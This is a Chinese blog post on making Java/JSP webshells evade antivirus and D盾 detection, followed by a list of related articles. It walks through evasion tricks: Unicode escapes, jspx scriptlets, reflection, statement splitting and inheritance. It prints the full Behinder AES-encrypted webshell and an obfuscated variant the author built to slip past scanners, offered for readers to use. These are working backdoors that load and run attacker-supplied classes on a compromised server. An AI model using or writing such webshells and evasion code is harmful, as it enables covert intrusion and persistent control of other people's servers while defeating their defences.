Java安全之Webshell免杀
Java安全之Webshell免杀
当遇到文件上传时,如果网站存在查杀软件,我们上传的一句话木马会被直接秒杀,这时候就需要做一下免杀,绕过查杀软件的检测。
思路
我的想法是先拆分,然后分别检验那些语句符合杀软的规则,然后利用语言的特性去修改语句,从而绕过杀软的规则
了解特性
做Java的Webshell免杀首先我们要了解Java和jsp的语言特点
拆分和合并
这里是举个栗子,通过拆分或合并可以绕过一些规则,例如D盾检测冰蝎马的request.getReader().readLine(),但是拆分之后它就检测不到
System.out.println(Runtime.getRuntime().exec("calc"));
上下一样
Runtime rt = Runtime.getRuntime();
Process a = rt.exec("calc");
System.out.println(a);
Unicode编码
jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过
\u0022\u0063\u0061\u006c\u0063\u0022 在jsp中就是 "calc"


CDATA特性
这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件
<%%> 替换成 <jsp:scriptlet></jsp:scriptlet>


Java换行特性
利用java换行的特性绕过杀软的规则
Runtime run = Runtime.getRuntime();
上面与下面的java代码是一样可执行的
Runtime run =
Runtime.getRuntime();


Java反射特性
杀软的规则有检测关键词和实例化类的检测,这时候我们可以利用Java反射的特性来绕过
System.out.println(Runtime.getRuntime().exec("calc"));
就等于
String jlr = "java.l"+"ang.R"+"untime";
Class clazz = Class.forName(jlr); //初始化Runtime类
Object rt = clazz.getMethod("getRuntime").invoke(clazz); //调用Runtime类中的getRuntime方法得到Runtime类的对象
clazz.getMethod("exec",String.class).invoke(rt,"calc.exe"); //再次使用invoke调用Runtime类中的方法时,传递我们获得的对象,这样就可以调用


Java继承特性
相当于给类改了名,试了试可以绕过某些杀软的规则
class aaa extends bbb{}
aaa a1 = new aaa();
冰蝎免杀马
自己根据D盾的检测,写了一个马,能过一些检测,可以参考一下
原马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader
{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
免杀马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.*,
sun.misc.BASE64Encoder,javax.crypto.spec.SecretKeySpec" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<jsp:scriptlet>
String pp =\u0022\u0050\u004f\u0053\u0054\u0022;
</jsp:scriptlet>
<%
class b6 extends \u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072{}
b6 b6 = new b6();
%>
<%!
public byte[] gg(byte[] a1,String k) {
try {
javax.crypto./*123*/Cipher c = javax.crypto.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e("AES/ECB/PKCS5Padding");
c.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));
return c.doFinal(a1);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
%>
<%
if (request.getMethod().equals(pp)) {
String k = "md5密码";
session.putValue("u", k);
BufferedReader reader = request.getReader();
byte[] a1 = b6.decodeBuffer(reader.readLine());
byte[] a2 = gg(a1,k);
Method method2 = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
method2.setAccessible(true);
Class i = (Class) method2.invoke(Thread.currentThread().getContextClassLoader(),a2,0,a2.length);
Object Qvsa = i.newInstance();
Qvsa.equals(pageContext);
}
%>


Java安全之Webshell免杀的更多相关文章
- JSP Webshell免杀设计
JSP Webshell免杀设计 @author:drag0nf1y 介绍 什么是Webshell? 被服务端解析执行的php.jsp文件 什么是RCE? remote command execute ...
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- [9期]软WAF上传绕过+webshell免杀
安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data form-data 改成 f+orm-data form-data 改成 for ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
- PHP7.1后webshell免杀
严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,"看着像"="就是"木马,宁可错杀一千,绝不放过一个.好了,多说无益,一起看看严格的D盾是如何错杀的 ...
- Webshell免杀
过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
- 分析一个免杀webshell发现的php特性
文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[fun ...
随机推荐
- dates()datetimes()查询都有哪些日期
dates()查询都有哪些日期 created_at是列名,year,是要查询的参数,order为排序方式 Course.objects.dates('created_at','year',order ...
- idea 查看scala源代码
使用idea编写spark程序,想要查看源代码,点进去是compiled code private[sql] def this(sc : org.apache.spark.SparkContext) ...
- 我们浏览 GitHub 时,经常看到 "WIP" 的分支,即 Work In Progress,正在开发过程中(尚不能独立的运行)的代码。这部分的代码在 Github/Gitlab 中将禁用“合......
本文分享自微信公众号 - 生信科技爱好者(bioitee).如有侵权,请联系 support@oschina.cn 删除.本文参与"OSC源创计划",欢迎正在阅读的你也加入,一起分 ...
- Vue——动态组件、插槽、Vue-cli创建项目、Vue项目目录结构、编写规范、es6导入导出语法
动态组件 // <component :is="who"></component> // component标签的is属性等于组件名字,这里就会显示这个组件 ...
- SpringBoot集成支付宝 - 少走弯路就看这篇
最近在做一个网站,后端采用了SpringBoot,需要集成支付宝进行线上支付,在这个过程中研究了大量支付宝的集成资料,也走了一些弯路,现在总结出来,相信你读完也能轻松集成支付宝支付. 在开始集成支付宝 ...
- Go语言编程技巧:实现高效的数据处理和企业应用程序
目录 Go语言编程技巧:实现高效的数据处理和企业应用程序 摘要 Go语言是一种现代的编程语言,以其高效.简洁.安全.可靠等优点而备受欢迎.本文将介绍Go语言编程技巧,包括数据处理和企业应用程序方面的应 ...
- 深入浅出security学习笔记
第一章 导入web和security依赖,然后默认提供了一个基于内存的UserDetailsServiceAutoConfiguration如下 会读取写入的user配置,SecurityProper ...
- Kali-Shell简单介绍&Vim编辑器指令
Shell简单介绍 shell :外壳(用户与操作系统(内核)之间的桥梁)相当于Windows中的dos 1.查看shell cat /etc/shells 查看系统支持哪些Shell echo $s ...
- Unity的Console的控制类LogEntries:深入解析与实用案例
使用Unity Console窗口的LogEntries私有类实现自定义日志系统 在Unity开发过程中,我们经常需要使用Console窗口来查看程序运行时的日志信息.Unity内置的日志系统提供了基 ...
- 暗黑2能用Java开发?还能生成APP?
最近烧哥发现个宝藏项目,竟然用Java开发了暗黑2出来. 众所周知,暗黑2是暴雪开发的一款经典游戏,距今虽有20多年,仍然有很多粉丝. 粉丝延续热情的方式有很多,一种是做Mod,比如魔电,对怪物.技能 ...